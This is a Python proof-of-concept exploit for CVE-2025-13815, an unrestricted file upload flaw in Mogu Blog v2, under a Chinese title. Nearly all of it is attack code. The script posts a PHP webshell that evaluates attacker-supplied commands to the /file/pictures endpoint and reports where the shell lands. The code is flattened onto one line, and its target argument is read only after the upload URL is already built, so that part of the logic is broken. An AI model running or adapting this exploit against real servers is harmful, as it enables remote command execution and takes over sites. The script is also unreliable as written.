CVE-2025-13815 Mogu Blog v2 无限制文件上传漏洞

import requests import sys # CVE-2025-13815 PoC - Mogu Blog v2 Unrestricted File Upload # Target: Mogu Blog v2 up to version 5.2 # Endpoint: /file/pictures TARGET_URL = "http://target.com" # Replace with target URL UPLOAD_URL = f"{TARGET_URL}/file/pictures" # Malicious file content (PHP webshell) payload = "<?php @eval($_POST['cmd']); ?>" def exploit(): files = { 'filedatas': ('shell.php', payload, 'application/x-php') } try: print(f"[*] Uploading malicious file to {UPLOAD_URL}") response = requests.post(UPLOAD_URL, files=files, timeout=10) if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[*] Response: {response.text}") # Try to access the uploaded shell shell_path = f"{TARGET_URL}/uploads/shell.php" # Adjust path based on response print(f"[*] Shell location: {shell_path}") else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit()